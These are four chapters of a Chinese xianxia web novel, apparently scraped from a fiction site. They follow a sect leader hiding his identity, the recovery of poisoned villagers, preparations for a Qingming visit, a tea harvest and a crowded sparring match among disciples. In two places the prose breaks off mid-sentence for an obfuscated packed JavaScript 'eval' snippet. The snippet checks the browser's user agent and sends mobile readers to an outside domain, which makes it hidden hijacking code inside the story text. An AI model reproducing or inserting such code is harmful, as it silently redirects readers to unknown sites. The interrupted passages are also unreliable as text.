公仪岭摆了摆手,提起茶壶倒了一杯茶放在桌子的一边,对这位弟子道:“不必多礼,坐吧。” 正好凳子也被承悦搬了过来,这茶一倒、凳子一拿,也就由不得这位弟子推脱。他略微犹豫了一下,还是依照着面前两人的意思坐了下来,喝光了桌子上的茶水,缓过来了一些。 公仪岭耐心地在旁边等着,等到弟子看起来平静了一些,才开口道:“那些中毒之人,服下解药以后,可还有什么问题?” 弟子连忙搁下了杯子,正色道:“回宗主,已经没有问题了,他们的身体已经在慢慢恢复,想必再过十多日就能够恢复如初了。” 承悦意外道:“恢复如初?可是,那些中毒已深的人,全身的皮肤都已经开始溃烂,一块好肉都没有了,这又怎么恢复呢?” 164.鬼玉解妖毒 妙意不可名(六) 这个情况公仪岭也有思考过,只是当时他的时间紧迫,没办法继续留在青花谷观察那些弟子们的状况。 最坏的可能性,也就是这些已经坏死的皮肤是没有办法复原,只能等余毒全清以后,靠自己的身体慢慢长出新的皮肤来了。 而云灵山这次派下来的弟子,大多都是只中了轻微妖毒、或是压根没有中毒的,其余的弟子现在到底恢复地如何了,公仪岭还尚且不知。 这位弟子叹息道:“承悦师兄,从目前的情况来看,凡是那些中毒程度没有到皮肤溃烂地步的百姓,身上的青紫斑痕都开始渐渐消退了,但是那些已经开始坏死的,就没办法继续回到从前的样子了,我想,这也是没办法的事情。” 承悦虽然心里有所准备,但是真的听到这个消息,心里却依旧不是滋味。 然而他们现在也没有其他办法,能够用这个解药保住性命已经不易,承悦也只能这样的话来安慰自己了。 公仪岭也在此时道:“若是没有旁的办法,也就只能让云灵山内的药师想办法,做出其他灵药给他们用,看看能不能管用了。” 若是日后这些皮肤愈合,落下疤痕的话,想要完全去掉也不是个容易的事情,但是他们现在也想不到其他更好的办法,便也都点了头。 公仪岭本以为这场谈话到这里也差不多该收尾了,却没想到面前的人似乎没有要立刻离开的意思。 他微微诧异,瞧着弟子踌躇的面色,心想这弟子大概还有什么话要说,就耐心问了一句:“你可还有什么其他的疑问吗?” 弟子愣了愣,停顿了许久,才轻声问了一句:“宗主,若是药师能够有办法把他们的模样复原的话,您为何不让他们帮您去掉脸上的烧伤呢?” 公仪岭也被他问得发怔,下意识地抬手抚上右脸,却只触碰到冰凉的面具。他这才猛然想起来,他已经很久没有取下脸上的银箔面具了。 哪怕是晚上睡觉也不曾取下。 至于他为何这样做,公仪岭自己也说不明白,也许是不愿透过镜子再看见自己的脸,又或者是这面颊上的伤痕是能够时时刻刻提醒着他,在紫阳宗刑台上的那一日究竟发生了什么事情。 这个问题也在承悦心中藏了很久,只因为两人太过熟悉,承悦也不愿再去揭公仪岚的伤疤,也就从未将此事问出口。 不可否认的是,公仪岚面颊上的烧伤痕迹,时至今日他看了也会觉得可惜。 但从这几个月看来,公仪岚自己压根没有在意这些身外之物,也从没提出要药师想办法治上一治,承悦也不好擅作主张,只好暂且把这个事情搁下了。 现在有人借机提出来这个事情,承悦也十分高兴,想着不管有没有用,总得先治上一治再说。 然而…… “不必了。” 公仪岭脸上挂着淡淡的笑容,只是轻轻碰了一下脸上的面具,转而就把手放下了。 “这样的话,能让我永远记住他。” * 公仪岭在云灵城内暂住了两日。 在和承悦交谈后的第二天,他也跟着弟子们出去探视了那些中毒的百姓。 云灵山的弟子们大部分都不精通医术,故而只是动用了自己的法力来探查,虽然不比孟阳诊断地准确,但在这种时候也够用。 公仪岭亲眼看见这些人的气色以后,也就放下心来,带着弟子们回了云灵山。 云灵内的妖毒处理完后,黑石鬼玉被他重新封存了起来。而其他各家宗门偶尔出现的几个中毒弟子,孟妙意也都派人给那些宗门带了解药,想必是不会出什么大问题的。 这一桩大事了结,公仪岭紧绷的神经也稍微松懈了下来。他取来了安神香在书桌上的小香炉内点上,轻轻嗅了一下,觉得整个人都放松起来了,忍不住在围椅上靠了一会儿。 如果能一直这样靠下去就好了……公仪岭这样想着。 遗憾的是,并没有太多的时间留给他。现在是午时,承悦和弟子们都不在,他这样躺一躺不会有事,但等到午时三刻后,门口的那两位仙侍就该回来了。 书桌上的各种公文全是按照公仪岚从前的习惯放好的,公仪岭与他相处了十八年,对于这些习惯也是了如指掌,十分从容地开始翻起公文,打算一个个查看起来。 放在他右手边的,一般都是放一些重要的公文,很少会放信函,公仪岭每次也都是优先处理这一叠文书,再慢慢去看其他的内容。 而这一次,公仪岭随手翻了几下,赫然看见里面夹了一封十分显眼的信函。 黑底的封面,金色的纹印。 这是公仪岭再熟悉不过的,太微山传来的信函。 唯一的区别是,从前齐元白总是在几张破符纸上写信,随手往信函里一塞也就不管了,而这一次,公仪岭再次打开信函,里面放着的却是一张叠得很是考究,散发着淡淡幽香的上好宣纸。 公仪岭忍不住轻笑。 哪怕只是这样的小细节,公仪岭也免不得在心里感慨一番:齐元白到底也是当了宗主的人,有些地方的确是变得靠谱起来了,不会再给他们太微山丢了面子。 这个念头在公仪岭脑海中仅仅一闪而过,取而代之的是他的疑惑。 信口是拆过的,定然是承悦先行打开看过。既然他把太微山的信笺放在桌案右边,想必肯定是有原因的。公仪岭会疑惑,是没想到这封信究竟是什么样的内容,才会如此。 太微山与青花谷一南一北,相隔甚远,妖毒并未蔓延到那边。如此,也就不可能是因为太微山也需要解药,才让齐元白特意写一封信来。 不过,等他打开那张薄如蝉翼的宣纸,看完了最上面一行端正的字迹后,就恍然大悟了。 是清明快到了。 从落款上的时间看,这封信是齐元白在十日之前写的,那个时候,公仪岭尚且还在青花谷中,大概是齐元白记挂着这件事情,想提前跟他打声招呼,所以才在月中就传来了这封信。 公仪岭叹了口气。 那场大战中,太微山也折损了不少弟子,齐元白的亲妹妹齐清鸢又命丧战场,清明节不光对自己来说重要,对齐元白也同样重要,在 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直到承悦的视线落在左边的黑色信函,开口问了一句:“宗主已经看过太微山的信函了?”公仪岭才反应过来。 他道:“嗯,看过了,已经回信给他了。” “那宗主的意思是……” 看承悦欲言又止的样子,公仪岭就知他肯定跟自己想到了一块去,于是抬起头认真道:“这也是齐宗主的一番心意,他和阿岭从小交好,想要来看他是人之常情,我自然没有理由回绝他。至于太微山那边,想必齐宗主肯定会安排妥当,不会做出让弟子们失望的事情。” 承悦立刻明白了,点头应下:“如此便好。宗主,依我看,齐宗主能来也是一个好消息,这样的话,我们也好商议一下,再问问关于地契上伪造阿岭签名的事情。” “那是自然。” 公仪岭回答完,刚要低下头继续批阅公文,却忽然想起了什么,目光移向承悦空空如也的手,诧异道:“今日怎么没拿下午的文书过来?” 承悦道:“最近大家都在处理妖毒之事,其他的事情便少了很多。今日午后,原先应当是先安排弟子们的修习的。” 公仪岭一愣,随即也明白过来。 这妖毒来得突然,肯定是打乱了承悦的部分计划,加上弟子们也都还没完全恢复,现在就重新开始修习的话,实有不妥。 不过,又没有公文,又不用安排修习之事的话,那承悦过来就该是有其他事情才对。 “那你特意前来,可是有别的要紧之事?” 承悦不紧不慢地从袖中取出一个罐子放在桌案上。 “是有要紧的事情。” 承悦没跟他打哑谜,直接当着他的面将盖子打开了。几乎在打开盖子的那一刻,公仪岭就闻到了里面散发出来的清香。 是茶。 公仪岭一个激灵,马上意识到了什么。 承悦也在这时轻声道:“宗主,您此前亲手种下的茶,已经可以采了。” 165.友从远方来 疏雨洗清明(一) 算算日子,后山的茶也的确到了采摘的季节了。 他没想到时间竟然过得这样快,转眼间,这一片茶树已经在此地生长了快大半年,而过往种种,恍若隔世。 公仪岭默默看着面前的青瓷茶罐,自言自语道:“是啊,是可以采了。” 承悦听完后,也没有再次开口说些什么。 茶树长大,茶叶丰收,唯一可惜的是司姑娘和二师兄都已经不在了,这样好的茶,却没法与他们共饮,实乃一大憾事。承悦自然不会在这时候说些什么,勾起他的伤心事。 公仪岭拿过了茶罐,把里面的茶叶倒在了自己的茶壶中。承悦见状,也为他取来了热水注入茶壶内,随口道:“宗主,我已经让弟子在茶园内备好了采茶用的工具,过一会儿,我们一起过去吧。” 公仪岭下意识点了点头,凝视着茶壶怔神的时候,却又忽然觉得承悦这几日说的话有哪里不对,略略一回忆,便反应过来了到底哪里不对。 “承悦,你有很久没喊我岚兄了。” 这一发现让公仪岭有些心神不定,踌躇了很久,才装作随意地问了一句。 具体是从什么时候开始的,公仪岭已经记不清了,他能肯定的是,至少在他回到云灵山以后,承悦每次都是喊他宗主的。 难不成,是承悦发现了什么端倪? 对于一直瞒着他自己身份这件事情,公仪岭心中也有愧疚。大家当了这么多年的兄弟,自己这儿却对他们几个有所隐瞒,公仪岭总觉得十分过意不去,但又担心在事情真相大白之前泄露身份。若是齐元白和承悦知道此事,但凡表露出一点在旁人看来不合适的交集,难免会让人起疑,也会牵连到他们。 公仪岭问完以后,眼睛眨也不眨的看着承悦,他面上浮现的那一丝迟疑,没有逃过公仪岭的眼睛。 承悦浅浅露出一个笑容:“宗主,毕竟现在是在山中,这么多弟子们都在,我若是时常这样唤你的话,于礼不合。” 这样合理的理由,公仪岭也挑不出什么问题,再多说什么,反倒还显得自己有问题了。 公仪岭想了想,也就不再追问下去了。 “也罢,称呼什么的,随你喜欢就好。” 他端起茶壶,倒上了两杯茶,将其中一杯递给了承悦,笑道:“这么好的新茶,你也一起尝尝吧。” 承悦没想到他会给自己也倒上一杯:“宗主,这茶是夫人爱喝的……我怎么能喝呢?” 公仪岭停顿了片刻,思索了一会儿措辞:“月吟她最喜欢大家在一起的时候,自然是希望我们能再聚在一起喝茶。承悦,对我们而言,你也是家人啊。” “我明白了。” 承悦在心中轻叹一声,还是拿起了茶杯,慢慢品味着这出自抱元门的清香。 一盏茶凉。 他们两人花了一整个下午的时间在茶园采茶,承悦本打算拿着茶罐去几人的墓前为他们也斟上一杯,却被公仪岭拦了下来。 “没几日就是清明了,等齐宗主过来以后,我们再一起喝吧,我想他们也会十分开心的。” 承悦一想,也的确是这个道理,低低地应了声。 茶叶采完,已近黄昏。 公仪岭见承悦脸上难得露出疲态,也不想他再过来帮自己一起处理公文:“这几日辛苦你了,今天就好好回去休息一下吧,这些文书,我自己一个人来就好。” 承悦也确实是累了,抬手按了按额头,才勉强让自己清醒一些,没有再坚持,对公仪岭道:“宗主,那我先回房休息了。” 公仪岭看他这眼睛都快睁不开的样子,无奈笑道:“去吧。” 承悦晃了晃脑袋,刚走了没两步,就想起了一件事情,又折了回来。 “怎么?还有何事?” 公仪岭有些意外,以为他是不放心还想看看文书。 承悦连忙点头道:“是还有一桩大事给忘了。再过二十几日,便又是仙考大会了,这一次去抱元门参加仙考的弟子名单,我已经拟出来放在桌上了,宗主,你记得过目。” 这件事情公仪岭没有忘记,在喝茶的时候他就已经想了起来,只是以为经过了这动乱的一年,他们抱元门今年应该不会再办仙考大会,公仪岭便没有对承悦提及此事。 “抱元门今年也传信过来了?” 承悦道:“是的,抱元门那封传信在七天前就已经送到了云灵山,被我放在了左边那一堆信函里面,宗主回去找找便知。” “好,我知道了。” 公仪岭现在是云灵山明面上的宗主,是不需要再前去抱元门参加仙考大会的,他只需要安排一下今年要去弟子的名册就好。承悦既然已经拟好名单,定然是没有什么问题的,公仪岭此番也省事了。 夜已深,门口的仙侍早已退下,整个云灵山只剩下他房内还点着烛火。 从茶园回来以后,他就一直待在屋内没再出一步,面前小山高的文书也都一叠一叠地少了下去,到此时,桌案上也只剩下了抱元门的信函、太微山的信函,以及承悦拟好的那份名册。 虽然承悦替他打点好了一切,但公仪岭这么久没回山中,也就疏于教弟子们课业了,对每个人现在的水平还比较模糊。承悦大概也是考虑了这方面,才提前备好了名册。 对此,公仪岭也只能苦笑。 他已经竭尽全力做好这个宗主,却依旧有这样那样的不周之处,甚至都没多少时间去亲临弟子们每日的修习。 在云灵山中,恐怕他们见承悦的次数,都要比自己这个宗主多得多。 若是大哥还在的话……定然不会发生这样的纰漏。 也不知是对着烛台,还是对着桌上的香炉,公仪岭眼神迷惘,声音极低地叹了一句。 “你那么厉害,我演得一点都不像啊……” 他的手中还捏着那本暗红色的云灵山名册,承悦在册子上面规规整整写了大概六十多名弟子的名字。 公仪岭垂下眼眸,粗略地看了一眼,拿起手边的金印盖在了册子上面。 名册盖完金印后,是需得送去抱元门的,而这上面选中的弟子们,也是得通知到位的。 每年参加仙考大会的人选并不是秘密,大部分年长些的弟子在一年前就已经知道自己次年要不要参加,早已提早准备起来。一些不确定的人选大多都是刚刚修习满五年、初次参加的弟子们,要等到半年左右才能确定下来。今年发生了不少大事,延误了仙考大会名册的事情,故而临近一个月才定下了这件事情,实在有些匆忙。 承悦在提名之时就已经跟那些年轻的弟子透露过,他们心里大概都有个数。公仪岭拿到名册后,并未更改上面的名字,三日后便直接宣布了此次参加仙考大会的名单,听到最后的结果,那些弟子没有表现得太过震惊,都很是从容地应下了。 云灵殿上,公仪岭这一桩大事宣布完,众人心里也松了口气。 承悦也觉得他应该没别的事情要说,打算提醒众弟子前去上早课,才微微转了一下身子,就听上面坐着的人继续说道:“距离仙考大会还有二十多日,既然现在人选已经定下来了,那便都好好准备起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384998|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。这二十余日,每日午后我都会过来亲自指导你们的课业。” 众弟子闻言先是呆怔了片刻,等过了几秒钟才反应过来宗主说的话,一个个震惊的震惊、瞪眼的瞪眼,都哑在了原地。 也不知道是谁先惊呼了一声:“宗主,你说得可当真?” 这半年来,他们在云灵山也极少能够见到宗主一面,所有人都知道自家宗主是为了追查内鬼的事情,才会顾不上他们的课业,让承悦师兄代为授课。 但在一些后辈看来,宗主为了一个声名狼藉、已经灰飞烟灭的弟弟而四处奔波,忽略门中事宜已是本末倒置,更不要说因为公仪岭的事情,旁的宗门在背后是如何议论他们云灵山弟子们的了,久而久之,弟子间也难免有抱怨之言。 这些时日,也是承悦替他极力解释,才暂且压了下来。 而这些事情,公仪岭都是知道的。 他缓缓点头:“当真。今日午后,大家都在演武场等我吧。” “演武场?!” 承悦诧异不已。山中每一位弟子的授课进度没有人比他更为清楚,修习时间不同,每位弟子们上的课业也就不同。那些年长些的师兄师姐们去演武场是没有问题,但是那些年幼些的师弟师妹们,恐怕就有些吃力了。 在他们修习的前两个年头,大部分都是在研究剑谱和法诀中度过的,等到他们熟悉了以后,才会让他们用木剑开始慢慢修习,等到修习突破了三重境界之后,才会开始锻造自己的灵剑。 但公仪岭和公仪岚当初并不是这样。 他们的两把灵剑,都是公仪拓一早就炼出来。公仪拓本来也是打算等以后再给他们这两把剑,年幼的公仪岭不知道从哪听来这件事情,当晚就拉着公仪岚闯入灵器库内,想瞧一瞧归云和彻云,这一看,竟然就让这两把剑认了主。公仪岭和公仪岚那时候甚至还没看几页剑谱,就已经能够驱使灵剑了。 事后,公仪拓知道了此事,也没有多说什么,只是把这两人连人带剑谱给丢进了演武场,闲闲地叮嘱他们分不出胜负就不准出来。 沈熙华原本不赞同他的做法,不过等到一个月后看到两个人的进步后,也就没再多说什么,只是每日待在演武场的时间也长了一些,时不时会给他们纠正一些错误。 承悦虽然比他们晚了两年才去演武场,但对这些往事依旧记得一清二楚。 承悦的关注点在于演武场,可弟子们意外的却是另一方面。 马上有人惊道:“宗主,我们所有人都去?” 公仪岭道:“所有人都去。” 众人面面相觑。从云灵山设这个演武场以来,恐怕也没有发生过几百人都去演武场这样的事情。 人数什么的,承悦并不在意,他思量以后能够理解公仪岚这样的考量,但他还是犹豫地问了一句:“宗主,这些师弟师妹们尚且还在使用木剑,现在就去演武场的话,是否不妥?何况,仙考大会的六艺考试里面,也不用一对一比试。” 公仪岭笑道:“比试而已,自然双方都是用木剑了。承悦,你有所不知,我之所以让他们去演武场,是因为从今年开始的仙考考核内容,都会加上历练这一项。” “原来是这样。” 承悦听完他的解释也不意外。之前就已经有传闻说,抱元门打算在之后的每一次仙考都加入这个考核,只不过传来传去也没个准信,而这一次,公仪岚这样说,肯定就是从抱元门那边得到了确切的消息了。 历练途中难免遇到危险,提前让他们在演武场备战的话,并不是什么坏事。 166.友从远方来 疏雨洗清明(二) 未时,云灵山内的所有弟子全部聚集在演武场内。 演武场虽大,但一下子挤进来几百号人也稍显的拥挤起来。就连承悦也极少看见这样人满为患的景象,连忙招呼着众人依次站好,维持住现场的秩序。 公仪岭站在高处,微微抬手施法,演武场正中央立刻出现了几个巨大的方形台子。 这样的台子,那些年长的弟子们都是见过的,但头一回见的师弟师妹们就显得兴奋异常,一个个都抱着一把木剑叽叽喳喳地说个没完。 经过一天一夜的准备,每个弟子的修为公仪岭都已经从承悦那边了解全面,该如何安排弟子们对阵他心中自然有数。 “公仪文乐、公仪子真、公仪越、公仪雪、公仪映萱。” 高台上,公仪岭开口就叫了五个人的名字,此举让弟子们都大感意外,开始议论纷纷起来。 一位弟子挠着头道:“宗主一下就点了五个人,是何用意?难不成,是先让师兄师姐给我们做个示范?” 弟子们彼此都熟悉,听到这话,也很快就反应过来,这五人都是辈分稍长一些的师兄师姐们,且每一人的修为都很高,乃是这一辈中的佼佼者们。 大家顿时都认可了那位师弟的想法,频频点头:“有道理!” “肯定是按修为来对阵!” 还有几个与五人关系好的同窗给他们加油打气:“上啊,阿越!努力了这么久,给宗主瞧瞧你的进步!” 公仪越闻言扬眉:“等会儿你们可得看仔细了啊!”说罢,“唰”地一下抽出木剑,跃上了台子。 其他四个人也毫不犹豫飞身上场,执剑站定,静静地在其中一个方形台子上等待宗主说些什么。 哪知,公仪岭并没有叫他们立刻动手,而是又唤了五个人上去。 “公仪明华、公仪嘉木、公仪朝烨、公仪柔、公仪婧。” 叫完这五人的名字,众弟子皆是面露惊异,就连他们五个人自己,也面面相觑,险些以为自己听错了名字。 这样的安排,又让大家吃惊了一下。 宗门内弟子们互相比试的次数不少,每个人对自己是什么水平也都心知肚明,而这刚被点到的五个人,虽然修为不低,但也比不得前五个人,若是真打起来,最多也只有四成胜算。 “怎么会选这五人上去?” “难道,其实宗主不是按照修为来选的人,而是随机点的名字,看见谁就叫谁?” “我看不像吧,这五个人也没有弱到哪里去,就算是越师兄他们五个人,想击败他们也不是什么轻而易举的事情,肯定是得费一番波折的。” 众弟子嘀咕着,不由自主地把视线投向了台上的五人,想看看他们是什么反应。 公仪越紧紧握着木剑的手垂了下去,忍不住抬头问道:“宗主,您这又是何意?” 公仪朝烨也疑惑,有些迟疑:“宗主,我们几人的修为,恐怕不是师兄们的对手……” 他们会有异议也是再正常不过,对此,公仪岭早有准备。 他偏头给承悦一个眼神,承悦心领神会道:“大家稍安勿躁,且听宗主如何说。” 承悦这样说,弟子们虽然不解,但也渐渐平息下来,仰起头等着公仪岚的解释。 面对弟子们的疑问,公仪岭淡声道:“我想,大家恐怕是误解了我的意思,这场比试不是五对五,而是一对九。” 在场所有人都惊呼出声:“一对九?!” 承悦却立刻明白了他的用意,忍不住笑了出来。 历练嘛……每次都是几个人打一群妖魔鬼怪的,怎么可能会留出来给他们一对一的时间呢? 事实也果然如承悦所料想的那般。 公仪岭面不改色:“你们每个人都是各自为战,不论是谁,一旦落下高台即为出局,能够在台子上留到最后的,才是最后的获胜者。” 底下一片沉默。 当即就有人犹豫着想要劝他换个法子:“宗主,十个人在台子上乱战,虽说已经换了木剑,但也难保混乱之中不会误伤他人,您看这人数,是否太多了?” “是啊是啊!即使是木剑,也得用灵力催动才行,若真有万一出了事故可就不好了……” “有我在,不会出现任何意外。” 公仪岭眉目微沉,目光扫过底下出声的一大片人,朗声道:“在这次仙考以前,你们每次下山历练,都是父亲亲自带你们前去,大部分后辈都没有独自面对过那些妖邪之物,甚至都没有直面过仙魔大战时那样混乱的场景。而仙考历练下山后,可能会遇到你们从未面对过的妖物,处理从未经历过的事情!不过区区十人而已,如何能够算得上乱战?” 这话说完,那些颇有微词的弟子们也都齐齐闭了嘴,注意力全都集中在了台上的十人身上。 可还没完。 众人安静了片刻,满以为接下来就该是这十个人开打了,但宗主迟迟没有下令,就在大家想要提醒的时候,又是一长串的名字从公仪岭口中报了出来。 没人数清楚公仪岭到底点了多少名字,因为光看着那剩下三个空荡荡的方台,大家很快就意识到了什么。 演武场上一共四个方台,直到公仪岭说完最后一个名字,大家也都瞧了个清楚:四个方台,每个台子都被他点了十个人上去。 于是,刚才还在说十个人是“乱战”的那些人,这会儿都已经惊掉下巴了。 如果十个人都算乱战的话,那现在的四十个人,又算什么? 平常光是看两个人比试,都觉得打得眼花缭乱,前一秒还在回味着方才的精彩瞬间,后一秒人家都已经过了四五招了,但凡思路慢一些,都跟不上这极快的节奏。 这一下子要让大家看四十个人过招,众弟子心里都有些发憷,同时也开始深深怀疑起来,自家宗主莫不是在忽悠他们,这样乱的场面,谁能顾全大局? “没人能做到吧……”众人在心中暗暗道。 就在大家还在琢磨着该怎么细细观摩这演武场上形势的时候,那边公仪岭已经下令开始,顷刻间,场上兵器交接声嘈杂一片。 “铮!” 有了灵气催动,手中哪怕握着的是一把普通的木剑,竟然也能发出宛如利剑碰撞的铮鸣声。 剑气扫出,公仪越脑海中也回忆起一年前自己在仙考大会上的表现。 公仪越只比公仪岚小两岁,按资历和修为来看,他在云灵山内也是可以排上前十位的。去年的仙考大会,他也排到了第二十五位,这样的成绩,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14393102|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们云灵山中也算上乘。 在那之后,他更是亲身经历过了紫阳殿和玄霄殿外的两次仙魔大战,能够在战争中活下来,公仪越多少也是有些本事的,此后的半年,他更是勤加修炼,想要在下一次的仙考大会上一鸣惊人,也在山中跟同门师兄弟比试的时候显露锋芒。 功夫不负有心人,这样的机会,总算是让公仪越等到了。 早在三日前,公仪越就已经从承悦师兄那边知道了接下来半个多月,他们都得在演武场度过的消息,那时候他就已经兴奋不已,觉得这是个大展身手的好机会。 而许久不露面的宗主,也在这时候说会去演武场亲自指导他们。 这样千载难逢的时机,公仪越绝不能错过。 至于公仪岚口中的指导?说实话,公仪越并不在意。他们两个人相识也有十余年,彼此之间也算熟悉,公仪越清楚公仪岚的能耐,也不觉得自己会比他差到哪里去,他一向觉得,他跟公仪岚之间,说是交流探讨还差不多。指导?有些过了。 这样想着,公仪越深吸了一口气,攻势也越发迅猛起来。 平台上十个人各自纠缠,基本上都先选择了离自己最近的人作为对手,时不时还得防备着周围的人会不会冷不丁偷袭自己一下。 而此刻与公仪越交手的,便是公仪朝烨了。 公仪朝烨自认在剑道方面不是什么天资聪颖的人,跟公仪越的仙资比起来,他那点天赋根本不值一提。 而他之所以能够在仙考大会排位前五十名,靠的全是自己日复一日的努力和积累,才能勉强追赶上他们的脚步,不被落后太多。 随着一分一秒地过去,他们两个人在方台上也已经交手了不下一炷香的时间,公仪朝烨面前这位仙资卓越的师兄,每一下剑招也都变得越来越凌厉。 可不管公仪越如何出招,他每次都能有惊无险地避开方台边缘,化解公仪越的紧密的攻势。 但是即便如此,他不得不承认,公仪越这一年下来的进步的确是显而易见的。 方台外围观的弟子们也都时刻关注着上面的变化,把公仪越和公仪朝烨这两个人的比试过程尽收眼底。 方台上四十位弟子的修为参差不齐,有了这样清晰的对比,底下围观的弟子们也都沉默下来。 良久,才突然有人感叹了一句:“好强……” 这一声是称赞谁的,大家都心知肚明,没有人去反驳,也没有多少人吭声。 “想不到,越师兄竟已经是这样的水准了……” “刚才那几下,我看整个云灵山上下也没几人能抵挡得了吧?” 众人再度沉默。每个人都不由自主地把自己代入到了公仪朝烨的视角,一番模拟后,也都得出了一个不愿相信的结论:他们恐怕是真的挡不住。 当即就有几个弟子替公仪朝烨担心上了,忍不住朝着方台上对战的公仪朝烨大喊道:“朝烨师兄,顶住啊!” 这一声加油打破了场下的沉寂,众人这才从思考中脱离出来,抬头发觉香竟已燃了一炷,而场上那个本应落于下风的人,身上没有一丝伤痕,这样的表现,足够夺目了。 想必,今年仙考大会的前十位名次,应该能够换上新面孔了吧?大家都是这样想的。 167.友从远方来 疏雨洗清明(三) 就在的底下弟子们默默讨论的时候,高台上的公仪岭和公仪承悦两个人,也在轻声交谈着彼此的看法。 这半年来,要说最为关心师弟师妹们成绩的,肯定要数承悦了。 即便是他看着这两人过招,也必须得承认,不管现在换哪位弟子来跟公仪越过招,若是能够完全避开他的剑气,身上没有丝毫损伤,是一件很能值得吹嘘的事情了。 承悦瞧着公仪越的剑势,颇为感触:“宗主,看样子,这一年来阿越也是进步不小。”说完,承悦也不忘去瞧一瞧身旁人是什么样的神情。 然而,公仪岭脸上没有任何变化,就连眼中也是平静无波。 唯独在看见公仪越一些眼熟的剑招之时,公仪岭面上才会闪过一丝不易察觉的苦涩,但这样异样的情绪并没有逃过承悦的眼睛。 承悦微微诧异,思索了片刻也没能领会其意,刚想要试探性地问上一句,公仪岭却像是忽然回过神似的,神情再次变得平静。 对于承悦的评价,他没有否认,只是轻轻点了点头道:“是的,阿越的确进步不小。” 刚才,他的确有那么一瞬间的走神。 在云灵山所有弟子中,或许公仪越是其中最像他的那一个人,一样的仙资卓越、天赋极高,也一样的年少轻狂,觉得没有什么事情是自己做不到的。 就像公仪岭从前会为了炫技,弄出一些实战中很多余却又花里胡哨的技巧,只为了招式好看且能在同门面前显摆一下。从前这些招式还被公仪岚点评为“华而不实”,那时候他还颇有微词,觉得大哥不懂欣赏,现在看来,大哥说的当真是一点问题都没有。 而公仪越也是如此,刚才他使出的那几下剑招,公仪岭看着是那样地似曾相识,就是硬生生从公仪越的身上看到了当年自己的影子。 还有很长的路要走啊!不光是他们,还有自己。公仪岭如此想着。 场外的人有时间慢慢交流心得,可方台内的公仪朝烨却完全没有时间去犹豫这些。 坚持、坚持!只要这样下去,也许自己能赢…… 他的注意力从未如此集中过,眼前对手的一举一动在他面前都被慢放了几倍,也正是全靠着这样出色的发挥,公仪朝烨才能一直应对到现在都没有失过一次手。 “哎!” 远处遥遥传来一声惊叫,传入公仪朝烨的耳畔就变成了模糊不清的音节。他根本没听清楚那人后面说了什么话,但面前突如其来的变故,让他面色就瞬间就是一变。 一道凌厉的剑气呼啸而至,速度快到肉眼难辨。 这架势,公仪朝烨一看就知他是打算速战速决,根本没想过浪费时间跟自己周旋。 这一场比试,所有人都不看好自己,可是,自己这样努力修习,不就是为了一点点提升自己,超过所有人吗?即使自己胜算不大,也该竭尽全力去应对才行啊。 公仪越难对付吗?确实难对付。 那样华丽绚烂的招式,那样不可思议的速度,在众人看来,应该是不可攻破的、无法化解的。 但是…… “破绽太多了,师兄。” 公仪朝烨声音极轻地说了一句,谁也没看清他是如何出手的,但是他手中那把木剑已经精准地格挡下了这道剑气,一道劲风过去,只堪堪削落了公仪朝烨额间的几根碎发。 有惊无险。 所有人都是这样想的。 在周围的人庆幸之余,公仪越却是愕然。 他的所有出招都用尽全力,公仪朝烨能够支撑到现在,已经完全出乎他的意料,更不用说刚刚他汇聚十成十灵力挥出的那一剑。 这一剑,公仪越也没给自己留任何退路。 输了…… 旁人或许还分不清到底这一瞬间发生了什么,但公仪越却是清楚的意识到了这一点。 在他汇聚所有灵力的这一剑被化解,收招的那一瞬间,公仪越已经暂且没有灵力去抵挡公仪朝烨的反击了。 公仪越眼前那道身影一闪而过,下一秒出现在了他的身后。 随后,公仪朝烨手腕微动,一道掌风推出,毫不犹豫地将他掀飞出了方台。 方台之上形势变幻莫测,众弟子甚至没看清楚这人到底是谁,只瞧见了一道优美的弧线,随后便传来了重物落地的声音。 公仪越灵力暂失,但身体还是在落地前的一瞬间维持住了平衡,没有摔得太难看。 他低着头,半跪在地,一只手撑着地面,长长地出了一口气,调息之后才觉得身体好了一些。 待公仪越抬起脸后,众弟子这才辨清出局的竟然是他们的越师兄。 “怎么……怎么是越师兄!” “不是吧,刚刚发生了什么?一开始不是越师兄占优吗?你们有谁看清楚了?” 没有人回答,也没人能回答的上来。 公仪越无暇顾及周围师弟师妹们的问话,眼睛依旧一眨不眨地盯着方台上的人。 不甘心啊! 要是公仪越是从头被压制到尾地输掉比试,他也不会这样憋屈了。 明眼人都能看得出来,公仪朝烨决计不是他的对手,谁能想到,自己竟然就这样失手出局了呢? 公仪朝烨说的最后那句话,还依然在他心中挥之不去。 此时,距离比试开始也已经过去了有十多分钟,方台上也先后落下了十四人,有懊恼的、有后悔的、有意犹未尽的,这些人落下高台后的第一件事,竟然都是站在地上愣愣地往方台的方向看。 “诸位,请随我来。” 公仪越在底下正看得起劲,脑中仿佛也有一堆小人开始互相比划起来,忽然耳畔传来仙侍淡然的声音,这才猛然想起来,宗主交代他们比试完了就去高台那边等着。 仙侍说完,便做了个“请”的手势,一动不动了。公仪越见这架势,知道这多半也是公仪岚的意思,是叫他们不要过多停留,该尽快到高台上去了。 围观比试被打断固然不悦,但公仪越还是没有驳了宗主的面子,对仙侍点了点头,跟在他身后走上高台。 